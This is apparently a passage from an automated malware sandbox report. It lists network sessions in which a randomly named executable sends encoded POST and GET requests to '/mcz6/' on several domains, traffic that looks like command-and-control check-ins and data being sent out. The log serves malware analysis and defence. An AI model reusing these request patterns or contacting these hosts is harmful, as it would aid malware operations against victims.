14	192.168.2.9	49728	217.160.0.111	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:51.432033062 CEST	756	OUT	POST /mcz6/ HTTP/1.1 Host: www.carliente.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.carliente.com Referer: http://www.carliente.com/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 67 30 4e 4e 4f 65 45 5a 4c 6e 61 48 4c 34 63 38 57 32 47 51 39 77 70 75 49 46 35 75 6c 48 39 5a 69 5a 4e 70 34 6d 62 6b 50 31 76 5a 52 37 70 68 5a 33 53 61 46 32 62 52 7a 71 2f 46 58 39 49 4d 47 77 56 65 43 71 77 77 38 32 51 72 6c 55 33 65 4e 39 37 49 56 57 30 34 50 2f 39 31 53 53 6d 46 62 34 32 61 69 6a 37 38 56 5a 66 45 4e 61 47 72 4e 6c 74 32 6c 68 64 37 79 77 49 43 65 65 63 66 63 75 76 78 6c 79 47 61 71 67 35 72 71 6f 49 45 6f 6f 51 44 75 67 52 48 6c 62 31 74 4f 43 53 39 72 71 53 6d 33 51 4f 45 75 73 7a 48 66 39 6c 6d 48 69 56 4c 6c 2f 6b 34 79 63 53 77 46 6c 34 74 31 6e 71 43 34 42 77 57 32 76 4f 4a 7a 47 45 56 70 67 3d 3d Data Ascii: 1Joh=g0NNOeEZLnaHL4c8W2GQ9wpuIF5ulH9ZiZNp4mbkP1vZR7phZ3SaF2bRzq/FX9IMGwVeCqww82QrlU3eN97IVW04P/91SSmFb42aij78VZfENaGrNlt2lhd7ywICeecfcuvxlyGaqg5rqoIEooQDugRHlb1tOCS9rqSm3QOEuszHf9lmHiVLl/k4ycSwFl4t1nqC4BwW2vOJzGEVpg==
May 16, 2024 17:19:52.113498926 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 16 May 2024 15:19:51 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
May 16, 2024 17:19:52.118772984 CEST	212	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7
May 16, 2024 17:19:52.132638931 CEST	687	IN	Data Raw: 92 8e a8 10 87 09 4a 51 64 f7 ad 2b 45 b4 49 c9 9b f1 15 d6 3f 7f 32 07 08 80 9d d0 9b 2e fb c7 1c f8 51 e0 ae 22 e0 78 aa 93 f0 90 ce d7 58 13 5b 19 d2 de b0 fa e1 fa 69 ef 6f ea 6b ce 16 63 81 1f 3a bc 81 1e 9a be c7 d7 e3 16 d0 f5 99 af e2 38 Data Ascii: JQd+EI?2.Q"xX[iokc:8WeDZ4(:V41J}D#nu:Z3;6`9aKf.U[n6F5glJSsTEcfK\|i(eOx.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49729	217.160.0.111	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:53.965930939 CEST	1769	OUT	POST /mcz6/ HTTP/1.1 Host: www.carliente.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.carliente.com Referer: http://www.carliente.com/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 67 30 4e 4e 4f 65 45 5a 4c 6e 61 48 4c 34 63 38 57 32 47 51 39 77 70 75 49 46 35 75 6c 48 39 5a 69 5a 4e 70 34 6d 62 6b 50 31 33 5a 52 4a 78 68 62 57 53 61 45 32 62 52 74 36 2f 49 58 39 49 72 47 77 4d 5a 43 71 38 47 38 30 6f 72 6e 31 58 65 61 34 62 49 66 57 30 34 44 66 39 6f 66 79 6d 71 62 37 65 65 69 6e 58 38 56 5a 66 45 4e 59 65 72 4b 32 31 32 6e 68 64 30 37 51 49 4f 50 4f 63 37 63 75 32 4a 6c 79 7a 74 72 54 78 72 71 49 59 45 71 61 49 44 6e 67 52 2f 78 37 31 50 4f 43 57 75 72 75 7a 66 33 52 36 75 75 74 48 48 64 4b 6f 72 65 53 4a 50 33 4e 45 52 30 39 36 59 41 67 41 50 38 46 50 66 73 67 55 52 70 61 36 59 77 30 4a 4e 72 61 34 52 76 6c 38 63 2f 2b 2b 58 50 37 67 4a 68 55 31 58 2f 42 63 6f 2f 49 4f 55 64 76 35 50 56 68 2f 49 57 31 37 4f 75 46 76 49 6b 47 63 68 47 68 67 57 43 34 5a 73 65 50 37 52 31 2b 31 44 32 31 32 38 53 70 42 6d 2f 67 58 56 57 55 39 2b 75 32 72 75 57 4c 31 34 39 7a 6b 51 2b 56 59 4e 68 5a 44 4d 79 4e 49 52 6a 49 42 6c 51 4e 6d 4f 57 2f 46 43 78 56 75 48 69 50 46 47 4b [TRUNCATED] Data Ascii: 1Joh=g0NNOeEZLnaHL4c8W2GQ9wpuIF5ulH9ZiZNp4mbkP13ZRJxhbWSaE2bRt6/IX9IrGwMZCq8G80orn1Xea4bIfW04Df9ofymqb7eeinX8VZfENYerK212nhd07QIOPOc7cu2JlyztrTxrqIYEqaIDngR/x71POCWuruzf3R6uutHHdKoreSJP3NER096YAgAP8FPfsgURpa6Yw0JNra4Rvl8c/++XP7gJhU1X/Bco/IOUdv5PVh/IW17OuFvIkGchGhgWC4ZseP7R1+1D2128SpBm/gXVWU9+u2ruWL149zkQ+VYNhZDMyNIRjIBlQNmOW/FCxVuHiPFGK3m/B9Uo66TCsnvYhfvu5PFu1yUTaIL4EUX8du18fKoWNaPPVe/4V6rj20VQh147qAh3oFqD1sBIRMS6qyR2Q9catMxrRYcKaDLvI2ujCATPh8NxcGQ+Dzmb4+mg29qVkmoEatW7b0GCJAp9rORtQVFIe6U6dL9ldhw6rroN0V56A1vhkMtpCyeYdLhN9xPNRepS4VuCsQ1GZEHpuJgXfjQ0+VbhGWMPMQhsncz7BSDKnnKozeayClX3vUo6Sp86dp4leBbdO2/Yq19HRgIt5KDaaHjOStyNmy1d7LP+jbgSSprZIAyKw0109qNB5cJ5OEcxTrRIc0BtXHG7UzFJq1IYBfY68SCnvo58Ey4Fbi7n+o7fAzwQ8OQj2as/rIn2CZYFjQkgIhF+08Rr70qzc3X0u1GjxXCH+/Fnbeuj3z0ctIn/IFiwDWojSuXaGfnbSftvShA3IxAxM+UxQ4wWmNiZACRNdlcqXS6QmemFb1wWRaIWDA7zV73cUo1V9UmbXRc9iBzlT/IpH7IByU80AoP9pgQ1RiVj4aJFDe6cqTbwrEeuiiqo49EW4+NJ20NrBCWK3xO7hj9O6J5Zdspf1Nm3eDb17QWyGZfeQyWPent1Pyt9dvqd9mLraC6YxH1JCvT9/+O9b2xy/eTcpIy7fSbrFiw96C/rWr/ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49730	217.160.0.111	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:56.497937918 CEST	473	OUT	GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=t2ltNu02BWCxFJkDVXGm6lgSI2VyyVBo25Fvtgz0OT6/eZJtaFugFEP80bfDefIKNSUaDat+4U4ei33vOp33fhcSA/1GWguFcrikpDXwe5bKKbqlQA== HTTP/1.1 Host: www.carliente.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:19:57.187951088 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 4545 Connection: close Date: Thu, 16 May 2024 15:19:57 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 54 52 41 54 4f 20 2d 20 44 6f 6d 61 69 6e 20 72 65 73 65 72 76 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4f 70 65 6e 20 53 61 6e 73 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 22 3e 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 33 66 33 66 33 3b 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <title>STRATO - Domain reserved</title> </head> <body style="background-color: #fff; font-family: Open Sans, sans-serif; padding: 0; margin: 0;"> <div style="background-color: #f3f3f3; padding: 40px 0; width: 100%;"> <div style="width: 150px; margin-left: auto; margin-right: auto;"><a href="https://www.strato.de" rel="nofollow" style="border: 0;"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 157.4 33.7"><defs><style>.a{fill:#f80;}.b{fill:#f80;}</style></defs><title>STRATO</title><path class="a" d="M17.8,7a4.69,4.69,0,0,1-4.7-4.7H29.6A4.69,4.69,0,0,1,34.3,7V23.5a4.69,4.69,0,0,1-4.7-4.7V9.4A2.37,2.37,0,0,0,27.2,7Z" transform="translate(-1.3 -2.3)"/><path class="b" d="M57.7,32.9c-1.3,2.5-4.7,2.6-7.3,2.6-2.1,0-4-.1-5.2-.2-1.5-.1-1.8-.5-1.8-1.3V32.9c0-1.3.2-1.7,1.4-1.7,2.1,0,3.1.2,6.2.2,2.4,0,2.9-.2,2.9-2.3,0-2.4,0-2.5-1.3-3.1a42.2,42.2,0,0,0-4.5-1.8c-3.7-1.6-4.4-2.3-4.4-6.5,0-2.6.5-4.8,3.4-5.7a14,14,0,0,1,4.9-.6c1.6, [TRUNCATED]
May 16, 2024 17:19:57.190057039 CEST	1236	IN	Data Raw: 33 2c 30 2c 31 2e 36 2c 31 2e 33 2c 32 2e 31 2e 39 2e 35 2c 32 2c 2e 38 2c 32 2e 39 2c 31 2e 33 2c 34 2e 39 2c 32 2e 31 2c 36 2c 32 2e 35 2c 36 2c 36 2e 37 61 31 30 2e 31 32 2c 31 30 2e 31 32 2c 30 2c 30 2c 31 2d 2e 36 2c 34 2e 38 4d 37 37 2e 31 Data Ascii: 3,0,1.6,1.3,2.1.9.5,2,.8,2.9,1.3,4.9,2.1,6,2.5,6,6.7a10.12,10.12,0,0,1-.6,4.8M77.1,15.7c-2.1,0-3.7,0-5.2-.1v18a1.4,1.4,0,0,1-1.5,1.6H69c-1.1,0-1.7-.3-1.7-1.6V15.7c-1.5,0-3.2.1-5.3.1-1.5,0-1.5-.9-1.5-1.6v-.9A1.36,1.36,0,0,1,62,11.8H77.2c.8,0,1.
May 16, 2024 17:19:57.194837093 CEST	1236	IN	Data Raw: 35 73 2d 2e 36 2c 37 2e 31 2d 32 2e 36 2c 39 2e 35 4d 31 35 33 2c 31 37 2e 34 63 2d 2e 38 2d 31 2e 36 2d 32 2e 34 2d 32 2e 33 2d 34 2e 34 2d 32 2e 33 73 2d 33 2e 36 2e 36 2d 34 2e 34 2c 32 2e 33 63 2d 2e 37 2c 31 2e 35 2d 2e 38 2c 34 2e 34 2d 2e Data Ascii: 5s-.6,7.1-2.6,9.5M153,17.4c-.8-1.6-2.4-2.3-4.4-2.3s-3.6.6-4.4,2.3c-.7,1.5-.8,4.4-.8,6.1s.1,4.6.8,6.1,2.4,2.3,4.4,2.3,3.6-.7,4.4-2.3.8-4.2.8-6.1-.1-4.6-.8-6.1" transform="translate(-1.3 -2.3)"/><path class="a" d="M24.9,14a2.26,2.26,0,0,0-2.3-2.
May 16, 2024 17:19:57.199682951 CEST	975	IN	Data Raw: 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 22 20 6c 61 6e 67 3d 22 6e 6c 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 20 66 6f 6e 74 2d 77 65 Data Ascii: padding-bottom: 30px" lang="nl"><span style="font-size: 14px; color: #777; font-weight: bold;">Nederlands</span><br>Deze website werd zojuist geregistreerd. Een webinhoud werd nog niet toegevoegd.</div> <div style="padding-bottom: 30px"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49731	91.195.240.123	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:20:03.048419952 CEST	741	OUT	POST /mcz6/ HTTP/1.1 Host: www.walletweb367.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.walletweb367.top Referer: http://www.walletweb367.top/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 7a 4a 6f 79 5a 69 55 4d 4f 48 70 42 37 71 35 66 72 37 67 37 4c 47 6a 48 41 78 62 6e 46 73 63 5a 33 54 44 75 46 32 30 71 45 41 59 67 55 54 57 49 53 6f 5a 75 58 43 30 77 57 4d 59 6c 70 63 50 50 45 7a 4a 77 73 35 37 77 59 54 45 74 71 64 67 67 35 71 30 67 39 4e 72 52 58 42 39 6b 42 77 51 79 4c 67 43 55 34 36 4c 44 4b 75 4a 2f 43 46 36 33 51 32 2f 65 78 4a 39 50 33 37 34 58 57 72 61 49 36 49 6a 6f 34 46 61 57 32 5a 49 38 50 4c 57 71 39 6b 71 7a 65 43 6b 4a 5a 6b 79 73 37 45 65 32 78 31 72 45 56 45 46 6c 2b 30 51 55 4a 47 4e 36 67 46 4b 53 47 6b 54 42 68 61 7a 74 Data Ascii: 1Joh=zJoyZiUMOHpB7q5fr7g7LGjHAxbnFscZ3TDuF20qEAYgUTWISoZuXC0wWMYlpcPPEzJws57wYTEtqdgg5q0g9NrRXB9kBwQyLgCU46LDKuJ/CF63Q2/exJ9P374XWraI6Ijo4FaW2ZI8PLWq9kqzeCkJZkys7Ee2x1rEVEFl+0QUJGN6gFKSGkTBhazt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49732	91.195.240.123	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:20:05.587965965 CEST	765	OUT	POST /mcz6/ HTTP/1.1 Host: www.walletweb367.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.walletweb367.top Referer: http://www.walletweb367.top/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 7a 4a 6f 79 5a 69 55 4d 4f 48 70 42 70 61 4a 66 6f 59 59 37 61 6d 6a 59 4b 52 62 6e 4d 4d 64 53 33 54 48 75 46 33 41 36 44 79 4d 67 56 79 6d 49 41 70 5a 75 55 43 30 77 5a 73 59 67 6b 38 50 79 45 7a 45 44 73 37 2f 77 59 58 73 74 71 5a 6b 67 35 62 30 68 39 64 72 58 43 78 39 6d 4d 51 51 79 4c 67 43 55 34 36 65 6d 4b 75 52 2f 43 52 47 33 42 6b 48 5a 74 35 39 4f 2b 62 34 58 41 62 61 4d 36 49 6a 47 34 45 47 38 32 64 34 38 50 4b 6d 71 38 32 43 77 4a 79 6b 50 48 6b 7a 53 79 46 50 4a 71 55 57 5a 4c 6e 74 56 72 6e 41 6b 4f 6e 74 6b 78 33 44 4a 54 7a 54 6d 6d 39 36 46 56 6b 50 75 67 37 4a 61 49 65 48 64 39 35 51 41 46 2b 6c 6a 57 77 3d 3d Data Ascii: 1Joh=zJoyZiUMOHpBpaJfoYY7amjYKRbnMMdS3THuF3A6DyMgVymIApZuUC0wZsYgk8PyEzEDs7/wYXstqZkg5b0h9drXCx9mMQQyLgCU46emKuR/CRG3BkHZt59O+b4XAbaM6IjG4EG82d48PKmq82CwJykPHkzSyFPJqUWZLntVrnAkOntkx3DJTzTmm96FVkPug7JaIeHd95QAF+ljWw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49733	91.195.240.123	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:20:08.125835896 CEST	1778	OUT	POST /mcz6/ HTTP/1.1 Host: www.walletweb367.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.walletweb367.top Referer: http://www.walletweb367.top/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 7a 4a 6f 79 5a 69 55 4d 4f 48 70 42 70 61 4a 66 6f 59 59 37 61 6d 6a 59 4b 52 62 6e 4d 4d 64 53 33 54 48 75 46 33 41 36 44 7a 30 67 55 45 53 49 53 4b 42 75 56 43 30 77 55 4d 59 68 6b 38 50 56 45 7a 73 50 73 37 6a 67 59 52 6f 74 37 4b 73 67 2f 70 51 68 33 64 72 58 41 78 39 6e 42 77 52 71 4c 67 53 51 34 36 4f 6d 4b 75 52 2f 43 58 69 33 52 47 2f 5a 76 35 39 50 33 37 34 62 57 72 61 77 36 4d 48 77 34 48 71 47 33 75 77 38 42 4b 32 71 2f 44 65 77 56 69 6b 4e 54 45 7a 61 79 46 44 6f 71 58 7a 69 4c 6d 49 4f 72 6e 49 6b 4b 42 6f 4f 69 57 50 67 4f 68 4c 67 6d 63 4f 37 4d 6b 75 4c 69 4b 67 5a 4b 4f 6e 4c 69 72 52 75 48 71 34 2f 49 36 41 2f 49 38 6c 65 48 68 77 71 64 6d 66 52 72 64 46 46 4b 68 6e 4d 4a 44 57 6a 55 35 54 56 32 2f 59 63 76 47 74 35 58 53 41 46 71 74 6c 6f 62 47 54 78 59 30 61 56 6a 63 61 55 64 49 67 43 6a 4c 6b 6b 4d 4d 66 4f 4f 68 36 4c 6f 51 52 5a 59 46 35 45 58 50 6c 62 54 31 43 4e 54 76 4e 73 75 50 70 53 62 6f 31 69 43 4a 30 49 77 46 61 47 54 30 48 68 34 2f 74 4c 34 4b 5a 45 56 [TRUNCATED] Data Ascii: 1Joh=zJoyZiUMOHpBpaJfoYY7amjYKRbnMMdS3THuF3A6Dz0gUESISKBuVC0wUMYhk8PVEzsPs7jgYRot7Ksg/pQh3drXAx9nBwRqLgSQ46OmKuR/CXi3RG/Zv59P374bWraw6MHw4HqG3uw8BK2q/DewVikNTEzayFDoqXziLmIOrnIkKBoOiWPgOhLgmcO7MkuLiKgZKOnLirRuHq4/I6A/I8leHhwqdmfRrdFFKhnMJDWjU5TV2/YcvGt5XSAFqtlobGTxY0aVjcaUdIgCjLkkMMfOOh6LoQRZYF5EXPlbT1CNTvNsuPpSbo1iCJ0IwFaGT0Hh4/tL4KZEVYyC1rmSvdhy1S/rbZKu6u9JX32RB72OaI6prMgYc+mT66pqvJBqk51VUxSjWTwSnEu2kRV3OvowUB9MYQhM0gGc9E3+nIkYC/9pOlcYkgFVw+smsatAQVTIraWKLvqZqMLi/hyqcBJhMVDfIMwJeGrHy/mE2uhUa1tUZErVZaw+j/BkqrUvwGbRJDAIHTvo24V/Llz61p+BSqtHJMA86zJxE6uYa2UvsHujaJ4c+WSgZ8Y/esoI9Q+ZdBb/8AQO8Cmhd9KSo3Tn+bFPj4jFODqmu9oFaQC/Go4pNJisn8Vtilh4CSyLfdqh+U79GNoa2HJHqM7Gj8hOTYFvVj+xK2ajIC2GidXAwY4si8vq+MpCfrx7QSJbQ4Lw0LrIw6UX+pISQI2baSnxwTK7hTgvSmuwJGlZxpsoTA0qaJbTnxAxOI6oK+915zLv3ApoZ5m4MLr3Waj9jW2NXDXUIWMNMZa+htuVZIY7LQ3zDHMa3xqLFSIDIaVW0uv5xLqlbn/N7WhQ60d7onRGhciaY+Cpn/xnxW1VXfEQ5OhnOA2V5sd/kTPr19zqKTDxWM28e7VAd9ydwOeMPo/IbMXhvaW/waktbrZk9Hzn1QwqEf3bdygoFgQ2XDzaeJ1VC5YvGMg6zL0uK3s2CtigeR2WhXSdDLoyUKhGG22SK7O [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49734	91.195.240.123	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:20:10.669912100 CEST	476	OUT	GET /mcz6/?1Joh=+LASaW8sLlti/Y5moa0QLjD+NRT0ctxfunbDEh0FE1w8Tz+VHrtWZSUefKogmen1MiEzwZmsfiIE4qB4y6Vq9cD+KipKFAhgCA6j04PZFMUkTXmsCQ==&-xl=hBllB6kp4D1dBFK HTTP/1.1 Host: www.walletweb367.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49735	162.0.237.22	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:20:26.161324024 CEST	732	OUT	POST /mcz6/ HTTP/1.1 Host: www.deaybrid.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.deaybrid.info Referer: http://www.deaybrid.info/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 55 35 31 5a 73 35 6a 2f 6e 66 65 61 35 42 36 45 77 7a 70 41 74 63 4d 79 61 2f 43 39 4c 4b 2f 44 71 42 50 30 64 69 4a 37 33 71 46 65 4e 70 51 49 53 31 65 7a 55 76 4c 69 42 67 51 6b 30 70 61 77 6b 71 34 4c 53 74 39 6f 43 6a 49 30 72 64 4b 50 52 42 46 53 69 4e 4a 59 69 5a 6e 4d 2b 39 48 76 56 2f 62 5a 62 66 6b 65 47 56 43 44 61 64 53 6d 52 4e 2b 75 32 62 52 53 57 56 46 61 4b 4c 6f 79 2f 53 67 59 79 70 4a 42 6e 68 4b 45 38 56 34 4a 73 6c 38 35 4c 4d 48 59 68 76 53 61 65 6d 63 69 77 4f 50 4e 47 50 5a 52 54 51 62 57 57 74 6f 32 47 78 74 4d 61 78 76 4b 4e 30 37 32 Data Ascii: 1Joh=U51Zs5j/nfea5B6EwzpAtcMya/C9LK/DqBP0diJ73qFeNpQIS1ezUvLiBgQk0pawkq4LSt9oCjI0rdKPRBFSiNJYiZnM+9HvV/bZbfkeGVCDadSmRN+u2bRSWVFaKLoy/SgYypJBnhKE8V4Jsl85LMHYhvSaemciwOPNGPZRTQbWWto2GxtMaxvKN072

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49736	162.0.237.22	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

